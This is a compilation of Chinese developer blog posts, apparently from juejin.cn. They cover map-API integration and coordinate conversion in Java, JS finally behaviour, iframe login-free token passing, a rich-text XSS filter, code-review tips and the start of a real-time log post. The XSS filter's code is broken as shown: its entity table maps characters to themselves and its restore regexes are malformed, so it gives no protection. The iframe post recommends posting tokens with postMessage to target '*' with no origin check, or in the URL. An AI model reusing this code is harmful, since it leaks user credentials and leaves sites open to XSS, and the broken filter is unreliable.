longitude = String.valueOf(locateInfo.getLongitude());
latitude = String.valueOf(locateInfo.getLatitude());
Request request = new Request();
String longLat = longitude + "," + latitude;
String postStr = String.format(NEARBY_SEARCH_POST_STR, query, Integer.valueOf(radius), longLat);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = SEARCH_URL + "?tk=" + TK + "&type=" + QUERY + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
List<MapLocation> list = new ArrayList<>();
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
JSONObject statusObject = jsonObject.getJSONObject("status");
String infoCode = statusObject.getString("infocode");
if (!"1000".equals(infoCode)) {
return new ArrayList<>();
}
String resultType = jsonObject.getString("resultType");
String count = jsonObject.getString("count");
if (!"1".equals(resultType) || "0".equals(count)) {
return new ArrayList<>();
}
JSONArray poisArray = jsonObject.getJSONArray("pois");
for (int i = 0; i < poisArray.size(); i++) {
JSONObject poiObject = poisArray.getJSONObject(i);
MapLocation mapLocation = new MapLocation();
mapLocation.setName(poiObject.getString("name"));
mapLocation.setAddress(poiObject.getString("address"));
String lonlat = poiObject.getString("lonlat");
String[] lonlatArr = lonlat.split(",");
locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lonlatArr[1]), Double.valueOf(lonlatArr[0]));
String lon = String.valueOf(locateInfo.getLongitude());
String lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
list.add(mapLocation);
}
}
return list;
}
3. 文本搜索
文本搜索功能允许用户根据关键词搜索地点。实现代码如下:
public static List<MapLocation> searchByText(String query, String mapBound) {
Request request = new Request();
String postStr = String.format(SEARCH_BY_TEXT_POST_STR, query, mapBound);
String encodedPostStr = null;
try {
encodedPostStr = URLEncoder.encode(postStr, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
String url = SEARCH_URL + "?tk=" + TK + "&type=" + QUERY + "&postStr=" + encodedPostStr;
request.setUrl(url);
Response<String> response = HttpClientHelper.getWithoutUserAgent(request, null);
List<MapLocation> list = new ArrayList<>();
if (response.getSuccess()) {
String body = response.getBody();
JSONObject jsonObject = JSON.parseObject(body);
JSONObject statusObject = jsonObject.getJSONObject("status");
String infoCode = statusObject.getString("infocode");
if (!"1000".equals(infoCode)) {
return new ArrayList<>();
}
String resultType = jsonObject.getString("resultType");
String count = jsonObject.getString("count");
if (!"1".equals(resultType) || "0".equals(count)) {
return new ArrayList<>();
}
JSONArray poisArray = jsonObject.getJSONArray("pois");
for (int i = 0; i < poisArray.size(); i++) {
JSONObject poiObject = poisArray.getJSONObject(i);
MapLocation mapLocation = new MapLocation();
mapLocation.setName(poiObject.getString("name"));
mapLocation.setAddress(poiObject.getString("address"));
String lonlat = poiObject.getString("lonlat");
String[] lonlatArr = lonlat.split(",");
LocateInfo locateInfo = GCJ02_WGS84Utils.wgs84_To_Gcj02(Double.valueOf(lonlatArr[1]), Double.valueOf(lonlatArr[0]));
String lon = String.valueOf(locateInfo.getLongitude());
String lat = String.valueOf(locateInfo.getLatitude());
mapLocation.setLongitude(lon);
mapLocation.setLatitude(lat);
list.add(mapLocation);
}
}
return list;
}
4. 坐标系转换
由于天地图使用的是WGS84坐标系,而国内常用的是GCJ-02坐标系,因此我们需要进行坐标转换。以下是坐标转换的工具类:
/**
* WGS-84:是国际标准,GPS坐标(Google Earth使用、或者GPS模块)
* GCJ-02:中国坐标偏移标准,Google Map、高德、腾讯使用
* BD-09:百度坐标偏移标准,Baidu Map使用(经由GCJ-02加密而来)
* <p>
* 这些坐标系是对真实坐标系统进行人为的加偏处理,按照特殊的算法,将真实的坐标加密成虚假的坐标,
* 而这个加偏并不是线性的加偏,所以各地的偏移情况都会有所不同,具体的内部实现是没有对外开放的,
* 但是坐标之间的转换算法是对外开放,在网上可以查到的,此算法的误差在0.1-0.4之间。
*/
public class GCJ02_WGS84Utils {
public static double pi = 3.1415926535897932384626;//圆周率
public static double a = 6378245.0;//克拉索夫斯基椭球参数长半轴a
public static double ee = 0.00669342162296594323;//克拉索夫斯基椭球参数第一偏心率平方
/**
* 从GPS转高德
* isOutOfChina 方法用于判断经纬度是否在中国范围内,如果不在中国范围内,则直接返回原始的WGS-84坐标。
* transformLat 和 transformLon 是辅助函数,用于进行经纬度的转换计算。
* 最终,wgs84ToGcj02 方法返回转换后的GCJ-02坐标系下的经纬度。
*/
public static LocateInfo wgs84_To_Gcj02(double lat, double lon) {
LocateInfo info = new LocateInfo();
if (isOutOfChina(lat, lon)) {
info.setChina(false);
info.setLatitude(lat);
info.setLongitude(lon);
} else {
double dLat = transformLat(lon - 105.0, lat - 35.0);
double dLon = transformLon(lon - 105.0, lat - 35.0);
double radLat = lat / 180.0 * pi;
double magic = Math.sin(radLat);
magic = 1 - ee * magic * magic;
double sqrtMagic = Math.sqrt(magic);
dLat = (dLat * 180.0) / ((a * (1 - ee)) / (magic * sqrtMagic) * pi);
dLon = (dLon * 180.0) / (a / sqrtMagic * Math.cos(radLat) * pi);
double mgLat = lat + dLat;
double mgLon = lon + dLon;
info.setChina(true);
info.setLatitude(mgLat);
info.setLongitude(mgLon);
}
return info;
}
//从高德转到GPS
public static LocateInfo gcj02_To_Wgs84(double lat, double lon) {
LocateInfo info = new LocateInfo();
LocateInfo gps = transform(lat, lon);
double lontitude = lon * 2 - gps.getLongitude();
double latitude = lat * 2 - gps.getLatitude();
info.setChina(gps.isChina());
info.setLatitude(latitude);
info.setLongitude(lontitude);
return info;
}
// 判断坐标是否在国外
private static boolean isOutOfChina(double lat, double lon) {
if (lon < 72.004 || lon > 137.8347)
return true;
if (lat < 0.8293 || lat > 55.8271)
return true;
return false;
}
//转换
private static LocateInfo transform(double lat, double lon) {
LocateInfo info = new LocateInfo();
if (isOutOfChina(lat, lon)) {
info.setChina(false);
info.setLatitude(lat);
info.setLongitude(lon);
return info;
}
double dLat = transformLat(lon - 105.0, lat - 35.0);
double dLon = transformLon(lon - 105.0, lat - 35.0);
double radLat = lat / 180.0 * pi;
double magic = Math.sin(radLat);
magic = 1 - ee * magic * magic;
double sqrtMagic = Math.sqrt(magic);
dLat = (dLat * 180.0) / ((a * (1 - ee)) / (magic * sqrtMagic) * pi);
dLon = (dLon * 180.0) / (a / sqrtMagic * Math.cos(radLat) * pi);
double mgLat = lat + dLat;
double mgLon = lon + dLon;
info.setChina(true);
info.setLatitude(mgLat);
info.setLongitude(mgLon);
return info;
}
//转换纬度所需
private static double transformLat(double x, double y) {
double ret = -100.0 + 2.0 * x + 3.0 * y + 0.2 * y * y + 0.1 * x * y
+ 0.2 * Math.sqrt(Math.abs(x));
ret += (20.0 * Math.sin(6.0 * x * pi) + 20.0 * Math.sin(2.0 * x * pi)) * 2.0 / 3.0;
ret += (20.0 * Math.sin(y * pi) + 40.0 * Math.sin(y / 3.0 * pi)) * 2.0 / 3.0;
ret += (160.0 * Math.sin(y / 12.0 * pi) + 320 * Math.sin(y * pi / 30.0)) * 2.0 / 3.0;
return ret;
}
//转换经度所需
private static double transformLon(double x, double y) {
double ret = 300.0 + x + 2.0 * y + 0.1 * x * x + 0.1 * x * y + 0.1
* Math.sqrt(Math.abs(x));
ret += (20.0 * Math.sin(6.0 * x * pi) + 20.0 * Math.sin(2.0 * x * pi)) * 2.0 / 3.0;
ret += (20.0 * Math.sin(x * pi) + 40.0 * Math.sin(x / 3.0 * pi)) * 2.0 / 3.0;
ret += (150.0 * Math.sin(x / 12.0 * pi) + 300.0 * Math.sin(x / 30.0 * pi)) * 2.0 / 3.0;
return ret;
}
}
结论
通过上述代码,我们成功地将天地图集成到了我们的系统中,不仅满足了功能需求,还大幅降低了成本。这一过程中,我们深入理解了地图服务的工作原理,也提升了团队的技术能力。
注意事项
- 确保在使用天地图API时遵守其服务条款,尤其是在商业用途中。
- 由于网络或其他原因,天地图API可能存在访问延迟或不稳定的情况,建议在生产环境中做好异常处理和备用方案。
- 坐标系转换是一个复杂的过程,确保使用可靠的算法和工具进行转换,以保证定位的准确性。
通过这次集成,我们不仅为公司节省了成本,还提升了系统的稳定性和用户体验。在未来的开发中,我们将继续探索更多高效、低成本的技术解决方案。
来源:juejin.cn/post/7419524888041472009
js中的finally一定会执行吗?
背景
在我们程序开发中,我们的代码会出现这种或那种的错误,我们使用try...catch
进行捕获。如果需要不管是成功还是失败都需要执行,我们可能需要finally
。
那么有一个问题,无论是否发生错误,在finally
中的代码一定会执行吗?
下面我们看一个案例:
1. 案例
场景:请求一个接口,如果接口没有正确返回,我们使用try...finally
包裹代码,代码如下:
function getMember(num) {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (num === 1) {
resolve(num)
}
if (num === 0) {
reject()
}
}, 2000)
})
}
async function init() {
try {
console.log('打印***start')
await getMember(0)
console.log('打印***end')
} catch (err) {
console.log('打印***err')
} finally {
console.log('打印***finally')
}
}
结果如下:
上述案例中,如果请求传入的num
由另外一个接口返回,num
的值不是0
或者1
,上述的getMember
就一直处于pengding
状态,接下来的finally
也不会执行。
我们也可以这样理解,当在处理Promise
问题时,我们需要确保Promise
始终得到结果,不管是成功还是失败。
上述代码可以完善如下:
function getMember(num) {
return new Promise((resolve, reject) => {
setTimeout(() => {
if (num === 1) {
resolve(num);
} else if (num === 0) {
reject(new Error('Num is 0'));
} else {
// 默认情况,也解决Promise
resolve('Some default value');
}
}, 2000);
});
}
async function init() {
try {
console.log('打印***start');
const result = await getMember(2); // 传递一个非0非1的值
console.log('打印***end', result);
} catch (err) {
console.log('打印***err', err);
} finally {
console.log('打印***finally'); // 这行总是会被执行
}
}
init();
修改后的例子中,无论num
的值是什么,Promise
都会被解决(要么通过resolve
,要么通过reject
),,确保Promise
被正常处理,才能确保finally
执行。
2. try...catch注意点
2.1 仅对运行时的 error 有效
要使得 try...catch
能工作,代码必须是可执行的。换句话说,它必须是有效的 JavaScript 代码。
如果代码包含语法错误,那么 try..catch
将无法正常工作,例如含有不匹配的花括号:
try {
{
{
} catch (err) {
alert("引擎无法理解这段代码,它是无效的");
}
结果如下:
JavaScript 引擎首先会读取代码,然后运行它。在读取阶段发生的错误被称为“解析时间(parse-time)”错误,并且无法恢复(从该代码内部)。这是因为引擎无法理解该代码。
所以,try...catch
只能处理有效代码中出现的错误。这类错误被称为“运行时的错误(runtime errors)”,有时被称为“异常(exceptions)”。
2.2 try...catch
同步执行
如果在定时代码中发生异常,例如在 setTimeout
中,则 try...catch
不会捕获到异常:
try {
setTimeout(function () {
noSuchVariable; // 脚本将在这里停止运行
}, 1000);
} catch (err) {
alert("不工作");
} finally {
console.log('打印***finally')
}
结果如下:
因为 try...catch
包裹了计划要执行的函数,该函数本身要稍后才执行,这时引擎已经离开了 try...catch
结构。
为了捕获到计划的(scheduled)函数中的异常,那么 try...catch
必须在这个函数内:
try {
setTimeout(function () {
try {
noSuchVariable; // 脚本将在这里停止运行
} catch (error) {
console.log(error)
}
}, 1000);
} catch (err) {
alert("不工作");
} finally {
console.log('打印***finally')
}
结果如下:
总结
在使用try...catch...finally
的时候,无论是否发生异常(即是否执行了catch
块),finally
块中的代码总是会被执行,除非在try
、catch
或finally
块中发生了阻止程序继续执行的情况(如Promsie一直处理pending状态)。
如有错误,请指正O^O!
来源:juejin.cn/post/7419524503200677898
iframe嵌入页面实现免登录思路(以vue为例)
背景:
最近实现一个功能需要使用iframe
嵌入其它系统内部的一个页面,但嵌入后出现一个问题,就是一打开这个页面就会自动跳转到登录页,原因是被嵌入系统没有登录(没有token
)肯定不让访问内部页面的,本文就是解决这个问题的。
附带相关文章:只要用iframe必遇到这6种"坑"之一(以Vue为例)
选择的技术方案:
本地系统使用iframe
嵌入某个系统内部页面,那就证明被嵌入系统是安全的可使用的,所以可以通过通讯方式带一个token
过去实现免登录,我用vue
项目作为例子具体如下:
方法一通过url传:
// 发送方(本地系统):
<div>
<iframe :src="url" id="childFrame" importance="high" name="demo" ></iframe>
</div>
//被嵌入页面进行接收
url = `http://localhost:8080/dudu?mytoken={mytoken}` //
接收方:直接使用window.location.search接收,然后对接收到的进行处理
注意:
- 如果使用这个方法最好把
token
加密一下,要不然直接显示在url
是非常危险的行为,所以我更推荐下面方法二 - 上面接收方要在在
APP.vue
文件的created
生命周期接收,在嵌入页面接收是不行的,这里与VUE
的执行流程有关就不多说了
方法二通过iframe的通讯方式传(推荐):
// 发送方(本地系统):
var params = {
type: "setToken",
token: "这是伟过去的token"
}
window.parent.postMessage(params, "*");
// 接收方(被嵌入系统):在APP.vue文件的created生命周期接收
window.addEventListener( "message",
(e)=>{
if(e.data.type === 'setToken'){
//这里拿到token,然后放入缓存实在免登录即可
}
}
false);
注意: 上面接收方要在在APP.vue
文件的created
生命周期接收,在嵌入页面接收是不行的,这里与VUE的执行流程有关就不多说了
补充:
看着评论不少疑问,所以我就按我个人的思路去补充回答一下,但不绝对实用,欢迎互相指导
(1)如果不同源系统怎么办?
正常使用上述方法二进行通迅,但不带token
过去因为不同源根本无法通用,直接在被嵌入页面请求token,这个要和后端沟通好怎么获取
// 接收方(被嵌入系统):在APP.vue文件的created生命周期接收
window.addEventListener( "message",
(e)=>{
if(e.data.type === 'setToken'){
//这里在被嵌入页面请求接口获取这个系统的token,然后放到缓存中免登录
}
}
false);
(2)如果两个系统保存token字段相当怎么办?
例如
:主系统本地存储的token
叫:access_token
, iframe
嵌入的系统采用的token
也叫:access_token
这分为两种情况:(1)同源并且token字段相同 (2)不同源并且token字段相当
(1)同源并且token字段相同
这种情况同源+token
字段相同,根本不会出现需要登录的情况,因为同一个浏览器缓存都能拿到并且又是通用token
(2)不同源并且token字段相当
这种情况只有嵌入系统
和本地系统
两种情况它们并不会同时出现的,那么只要判断当前是那个情况就行,然后给对应的token
方案
:请求在拦截器那里判断当前请求来自那个系统的页面,然后给对应的token
例如
:两个系统都要传my_token
字段给后端,如果都放缓存就会覆盖,所以直接本地系统放到token1
缓存,嵌入系统放到token2
缓存,拦截器判断后如果本来系统页面 my_token=token1
,嵌入页面 my_token=token2
来源:juejin.cn/post/7350876924393209894
啊,富文本没做安全处理被XSS攻击了啊
前言
相信很多前端小伙伴项目中都用到了富文本,但你们有没有做防XSS
攻击处理?最近的项目由于比较紧急我也没有处理而是直接正常使用,但公司内部有专门的安全部门针对测试,然后测出来富文本被XSS
攻击了,而且危险级别为高。
啊这....,那我就去解决一下吧,顺便从XSS
和解决方案两个角度记录到下来毕竟好久没更新文章了。
先说说什么是XSS攻击?
简述:XSS
全称Cross-Site Scripting
也叫跨站脚本攻击,是最最最常见的网络安全漏洞,其实就是攻击者在受害者的浏览器中注入恶意脚本执行。这种攻击通常发生在 Web
应用程序未能正确过滤用户输入的情况下,导致恶意脚本被嵌入到合法的网页中。
执行后会产生窃取信息、篡改网页、和传播病毒与木马等危害,后果相当严重。
XSS
又有三大类
1、存储型 XSS即Stored XSS
恶意的脚本被放置在目标服务器上面,通过正常的网页请求返回给用户端执行。
例如 在观看某个私人博客评论中插入恶意脚本,当其他用户访问该页面时,脚本会执行危险操作。
2、反射型 XSS即Reflected XSS
恶意的脚本通过 URL
参数或一些输入的字段传递给目标的服务器,用户在正常请求时会返回并且执行。
例如 通过链接中的参数后面注入脚本,当用户点击此链接时,脚本就会在用户的浏览器中执行危险操作。
3、DOM 基于的 XSS即DOM-based XSS
恶意的脚本利用 DOM(Document Object Model)
操作来修改页面内容。
这种类型的 XSS
攻击不涉及服务器端的代码操作,仅仅是通过客户端插入 JavaScript
代码实现操作。
富文本就是属于第一种,把脚本藏在代码中存到数据库,然后用户获取时会执行。
富文本防XSS的方式?
网上一大堆不明不白的方法还有各种插件可以用,但其实自己转义一下就行,根本不需要复杂化。
当我们不做处理时传给后台的富文本数据是这样的。
上面带有标签,甚至有src
和script
之类的操作,在里面放一些脚本真的太简单了。
因此,我们创建富文本成功提交给后台的时候把各种<>/\
之类危险符号转义成指定的字符就能防止脚本了。
如下所示,方法参数value
就是要传递给后台的富文本内容。
export const getXssFilter = (value: string): string => {
// 定义一个对象来存储特殊字符及其对应的 HTML 实体
const htmlEntities = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
'\'': ''',
'\\': '\',
'|': '|',
';': ';',
'$': '$',
'%': '%',
'@': '@',
'(': '(',
')': ')',
'+': '+',
'\r': ' ',
'\n': ' ',
',': ',',
};
// 使用正则表达式替换所有特殊字符
let result = value.replace(/[&<>"'\\|;$%@()+,]/g, function (match) {
return htmlEntities[match] || match;
});
return result;
};
此时传给后台的富文本参数是这样的,把敏感符号全部转义。
但展现给用户看肯定要看正常的内容啊,这里就要把内容重新还原了,这步操作可以在前端完成,也可以在后端完成。
如果是前端完成可以用以下方法把获取到的数据进行转义。
// 还原特殊字符
export const setXssFilter = (input) => {
return input
.replace(/|/g, '|')
.replace(/&/g, '&')
.replace(/;/g, ';')
.replace(/$/g, '$')
.replace(/%/g, '%')
.replace(/@/g, '@')
.replace(/'/g, '\'')
.replace(/"/g, '"')
.replace(/\/g, '\\')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/(/g, '(')
.replace(/)/g, ')')
.replace(/+/g, '+')
.replace(/ /g, '\r')
.replace(/ /g, '\n')
.replace(/,/g, ',');
}
但是。。。。
上面只适合使用于纯富文本的场景,如果在普通文本的地方回显会依然触发危险脚本。如下所示
其实直接转义后不还原即可解决,但由于是富文本这种情况比较特殊情况,不还原就失去文本样式了,怎么办??
最终解决方案是对部分可能造成XSS
攻击的特殊字符和标签进行转义处理,例如:script、iframe
等。
示例代码
export const getXssFilter = (value: string): string => {
// 定义一个对象来存储特殊字符及其对应的 HTML 实体
const htmlEntities = {
'&': '&',
'\'': ''',
'\r': ' ',
'\n': ' ',
'script': 'script',
'iframe': 'iframe',
// 'img': 'img',
'object': 'ojst',
'embed': 'embed',
'on': 'on',
'javascript': 'javascript',
'expression': 'expresssion',
'video': 'video',
'audio': 'audio',
'svg': 'svg',
'background-image': 'background-image',
};
// 使用正则表达式替换所有特殊字符
let result = value.replace(/[&<>"'\\|;$%@()+,]/g, function (match) {
return htmlEntities[match] || match;
});
// 额外处理 `script`、`iframe`、`img` 等关键词
result = result.replace(/script|iframe|object|embed|on|javascript|expression|background-image/gi, function (match) {
return htmlEntities[match] || match;
});
return result;
};
效果只会对敏感部分转义
但这种方案不用还原转义,因为做的针对性限制。
小结
其实就是对特殊符号转换后还原的思路,相当的简单。
如果那里写的不好或者有更好的建议,欢迎大佬指点啦。
来源:juejin.cn/post/7415911762128404480
现在前端组长都是这样做 Code Review
前言
Code Review
是什么?
Code Review
通常也简称 CR
,中文意思就是 代码审查
一般来说 CR
只关心代码规范和代码逻辑,不关心业务
但是,如果CR
的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生
作为前端组长做 Code Review
有必要吗?
主要还是看公司业务情况吧,如果前端组长需求不多的情况,是可以做下CR
,能避免一些生产事故
- 锻炼自己的
CR
能力 - 看看别人的代码哪方面写的更好,学习总结
- 和同事交流,加深联系
- 你做了
CR
,晋升和面试,不就有东西吹了不是
那要怎么去做Code Review
呢?
可以从几个方面入手
- 项目架构规范
- 代码编写规范
- 代码逻辑、代码优化
- 业务需求
具体要怎么做呢?
传统的做法是PR
时查看,对于不合理的地方,打回并在PR
中备注原因或优化方案
每隔一段时间,和组员开一个简短的CR
分享会,把一些平时CR
过程中遇到的问题做下总结
当然,不要直接指出是谁写出的代码有问题,毕竟这不是目的,分享会的目的是交流学习
人工CR
需要很大的时间精力,与心智负担
随着 AI 的发展,我们可以借助一些 AI 来帮我们完成CR
接下来,我们来看下,vscode
中是怎么借助 AI 工具来 CR
的
安装插件 CodeGeex
新建一个项目
mkdir code-review
cd code-review
创建 test.js
并用 vscode 打开
cd .>test.js
code ./
编写下 test.js
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error("不要重复点击");
}
} else {
throw new Error("不是会员");
}
} else {
throw new Error("未登录");
}
}
这是连续嵌套的判断逻辑,要怎么优化呢?
侧边栏选择这个 AI 插件,选择我们需要CR
的代码
输入 codeRiview
,回车
我们来看下 AI 给出的建议
AI 给出的建议还是很不错的,我们可以通过更多的提示词,优化它给出的修改建议,这里就不过多赘述了
通常我们优化这种类型的代码,基本优化思路也是,前置校验逻辑,正常逻辑后置
除了CodeGeex
外,还有一些比较专业的 codeRiview
的 AI 工具
比如:CodeRabbit
那既然都有 AI 工具了,我们还需要自己去CR
吗?
还是有必要的,借助 AI 工具我们可以减少一些阅读大量代码环节,提高效率,减少 CR
的时间
但是仍然需要我们根据 AI 工具的建议进行改进,并且总结,有利于拓宽我们见识,从而写出更优质的代码
具体 CR 实践
判断逻辑优化
1. 深层对象判空
// 深层对象
if (
store.getters &&
store.getters.userInfo &&
store.getters.userInfo.menus
) {}
// 可以使用 可选链进行优化
if (store?.getters?.userInfo?.menus) {}
2. 空函数判断
优化之前
props.onChange && props.onChange(e)
支持 ES11 可选链写法,可这样优化,js 中需要这样,ts 因为有属性校验,可以不需要判断,当然也特殊情况
props?.onChange?.(e)
老项目,不支持 ES11 可以这样写
const NOOP = () => 8
const { onChange = NOOP } = props
onChange(e)
3. 复杂判断逻辑抽离成单独函数
// 复杂判断逻辑
function checkGameStatus() {
if (remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0) {
quitGame()
}
}
// 复杂判断逻辑抽离成单独函数,更方便阅读
function isGameOver() {
return (
remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0
);
}
function checkGameStatus() {
if (isGameOver()) {
quitGame();
}
}
4. 判断处理逻辑正确的梳理方式
// 判断逻辑不要嵌套太深
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error('不要重复点击');
}
} else {
throw new Error('不是会员');
}
} else {
throw new Error('未登录');
}
}
这个是不是很熟悉呀~
没错,这就是使用 AI 工具 CR
的代码片段
通常这种,为了处理特殊状况,所实现的判断逻辑,都可以采用 “异常逻辑前置,正常逻辑后置” 的方式进行梳理优化
// 将判断逻辑的异常逻辑提前,将正常逻辑后置
function checkStatus() {
if (!isLogin()) {
throw new Error('未登录');
}
if (!isVip()) {
throw new Error('不是会员');
}
if (!isDoubleCheck()) {
throw new Error('不要重复点击');
}
done();
}
函数传参优化
// 形参有非常多个
const getMyInfo = (
name,
age,
gender,
address,
phone,
email,
) => {
// ...
}
有时,形参有非常多个,这会造成什么问题呢?
- 传实参是的时候,不仅需要知道传入参数的个数,还得知道传入顺序
- 有些参数非必传,还要注意添加默认值,且编写的时候只能从形参的后面添加,很不方便
- 所以啊,那么多的形参,会有很大的心智负担
怎么优化呢?
// 行参封装成对象,对象函数内部解构
const getMyInfo = (options) => {
const { name, age, gender, address, phone, email } = options;
// ...
}
getMyInfo(
{
name: '张三',
age: 18,
gender: '男',
address: '北京',
phone: '123456789',
email: '123456789@qq.com'
}
)
你看这样是不是就清爽了很多了
命名注释优化
1. 避免魔法数字
// 魔法数字
if (state === 1 || state === 2) {
// ...
} else if (state === 3) {
// ...
}
咋一看,这 1、2、3 又是什么意思啊?这是判断啥的?
语义就很不明确,当然,你也可以在旁边写注释
更优雅的做法是,将魔法数字改用常量
这样,其他人一看到常量名大概就知道,判断的是啥了
// 魔法数字改用常量
const UNPUBLISHED = 1;
const PUBLISHED = 2;
const DELETED = 3;
if (state === UNPUBLISHED || state === PUBLISHED) {
// ...
} else if (state === DELETED) {
// ...
}
2. 注释别写只表面意思
注释的作用:提供代码没有提供的额外信息
// 无效注释
let id = 1 // id 赋值为 1
// 有效注释,写业务逻辑 what & why
let id = 1 // 赋值文章 id 为 1
3. 合理利用命名空间缩短属性前缀
// 过长命名前缀
class User {
userName;
userAge;
userPwd;
userLogin() { };
userRegister() { };
}
如果我们把前面的类里面,变量名、函数名前面的 user
去掉
似乎,也一样能理解变量和函数名称所代表的意思
代码却,清爽了不少
// 利用命名空间缩短属性前缀
class User {
name;
age;
pwd;
login() {};
register() {};
}
分支逻辑优化
什么是分支逻辑呢?
使用 if else、switch case ...
,这些都是分支逻辑
// switch case
const statusMap = (status: string) => {
switch(status) {
case 'success':
return 'SuccessFully'
case 'fail':
return 'failed'
case 'danger'
return 'dangerous'
case 'info'
return 'information'
case 'text'
return 'texts'
default:
return status
}
}
// if else
const statusMap = (status: string) => {
if(status === 'success') return 'SuccessFully'
else if (status === 'fail') return 'failed'
else if (status === 'danger') return 'dangerous'
else if (status === 'info') return 'information'
else if (status === 'text') return 'texts'
else return status
}
这些处理逻辑,我们可以采用 映射代替分支逻辑
// 使用映射进行优化
const STATUS_MAP = {
'success': 'Successfull',
'fail': 'failed',
'warn': 'warning',
'danger': 'dangerous',
'info': 'information',
'text': 'texts'
}
return STATUS_MAP[status] ?? status
【扩展】
??
是 TypeScript
中的 “空值合并操作符”
当前面的值为 null
或者 undefined
时,取后面的值
对象赋值优化
// 多个对像属性赋值
const setStyle = () => {
content.body.head_style.style.color = 'red'
content.body.head_style.style.background = 'yellow'
content.body.head_style.style.width = '100px'
content.body.head_style.style.height = '300px'
// ...
}
这样一个个赋值太麻烦了,全部放一起赋值不就行了
可能,有些同学就这样写
const setStyle = () => {
content.body.head_style.style = {
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
咋一看,好像没问题了呀?那 style
要是有其他属性呢,其他属性不就直接没了吗~
const setStyle = () => {
content.body.head_style.style = {
...content.body.head_style.style
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}
采用展开运算符,将原属性插入,然后从后面覆盖新属性,这样原属性就不会丢了
隐式耦合优化
// 隐式耦合
function responseInterceptor(response) {
const token = response.headers.get("authorization");
if (token) {
localStorage.setItem('token', token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
这个上面两个函数有耦合的地方,但是不太明显
比如这样的情况,有一天,我不想在 responseInterceptor
函数中保存 token
到 localStorage
了
function responseInterceptor(response) {
const token = response.headers.get("authorization");
}
function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}
会发生什么?
localStorage.getItem('token')
一直拿不到数据,requestInterceptor
这个函数就报废了,没用了
函数 responseInterceptor
改动,影响到函数 requestInterceptor
了,隐式耦合了
怎么优化呢?
// 将隐式耦合的常数抽离成常量
const TOKEN_KEY = "authorization";
const TOKEN = 'token';
function responseInterceptor(response) {
const token = response.headers.get(TOKEN_KEY);
if (token) {
localStorage.setItem(TOKEN_KEY, token);
}
}
function requestInterceptor(response) {
const token = localStorage.getItem(TOKEN_KEY);
if (token) {
response.headers.set(TOKEN_KEY, token);
}
}
这样做有什么好处呢?比刚才好在哪里?
还是刚才的例子,我去掉了保存 localStorage.setItem(TOKEN_KEY, token)
我可以根据TOKEN_KEY
这个常量来查找还有哪些地方用到了这个 TOKEN_KEY
,从而进行修改,就不会出现冗余,或错误
不对啊,那我不用常量,用token
也可以查找啊,但你想想 token
这个词是不是得全局查找,其他地方也会出现token
查找起来比较费时间,有时可能还会改错了
用常量的话,全局查找出现重复的概率很小
而且如果你是用 ts 的话,window 下鼠标停在常量上,按 ALT
键就能看到使用到这个常量的地方了,非常方便
小结
codeRiview(代码审查)不仅对个人技能的成长有帮助,也对我们在升职加薪、面试有所裨益
CR
除了传统的方式外,也可以借助 AI 工具,来简化其中流程,提高效率
上述的优化案例,虽然优化方式不同,但是核心思想都是一样,都是为了代码 更简洁、更容易理解、更容易维护
当然了,优化方式还有很多,如果后期遇到了也会继续补充进来
来源:juejin.cn/post/7394792228215128098
简单的 Web 端实时日志实现
背景
cron service 在执行定时任务时,需要能够实时查看该任务的执行日志以确保程序正确的工作。为了能够在尽可能短的时间内实现该功能,我们需要一个足够简单的方案。
方案如何选择?
我相信大多数开发者第一个想到的就是 WebSocket ,然后是 HTTP/SSE 。WebSocket 在很多情况下是实至名归的万金油选择。但这这里他太重了,对服务端和客户端具有侵入性需要花费额外的时间来集成到项目中。
那么 SSE 呢,为什么不是他?
虽然 SSE 即轻量又实时,但 SSE 无法设置请求头。这导致无法使用缓存和通过请求头设置的 Token。而且作为长链接他还一直占用并发额度。
WebSocket
:❌
- 优势:
- 实时性高
- 不会占用 HTTP 并发额度
- 劣势:
- 复杂度较高,需要在客户端和服务器端都进行特殊的处理
- 消耗更多的服务器资源。
- 优势:
SSE(Server-Sent Events)
:❌
- 优势:
- 基于HTTP协议,不需要在服务端和客户端做额外的处理
- 实时性高
- 劣势:
- 无法设置请求头
- 占用 HTTP 并发额度
- 优势:
HTTP
:✅
- 优势:
- 简单易用,不需要在服务端和客户端做额外的处理。
- 支持的功能丰富,如缓存,压缩,认证等功能。
- 劣势:
- 实时性差,取决于轮询时间间隔。
- 每次HTTP请求都需要建立新的连接(仅针对 HTTP/0.x 而言)并可能阻塞同源的其他请求而导致性能问题。12
- HTTP/1.x 支持持久连接以避免每次请求都重新建立 TCP 连接,但数据通信是串行的。
- HTTP/2.x 支持持久连接且支持并行的数据通信。
- 优势:
以上列出的优缺点是仅对于本文所讨论的场景(即Web 端的实时日志)而言,这三种数据交互技术在其他场景中的优缺点不在本文讨论范围内。
实现
HTTP 轮询已经是老熟人了,不再做介绍。本文的着重于实时日志的实现及优化。
sequenceDiagram
participant 浏览器
participant 服务器
Note right of 浏览器: 首先,获取日志文件最后 X bytes 的内容
浏览器->>服务器: 最新的日志文件有多大?
服务器->>浏览器: 日志文件大小: Y bytes
浏览器->>服务器: 从 Y - X bytes 处返回内容
服务器->>浏览器: 日志文件大小: Y1 bytes, 日志内容: XXXX
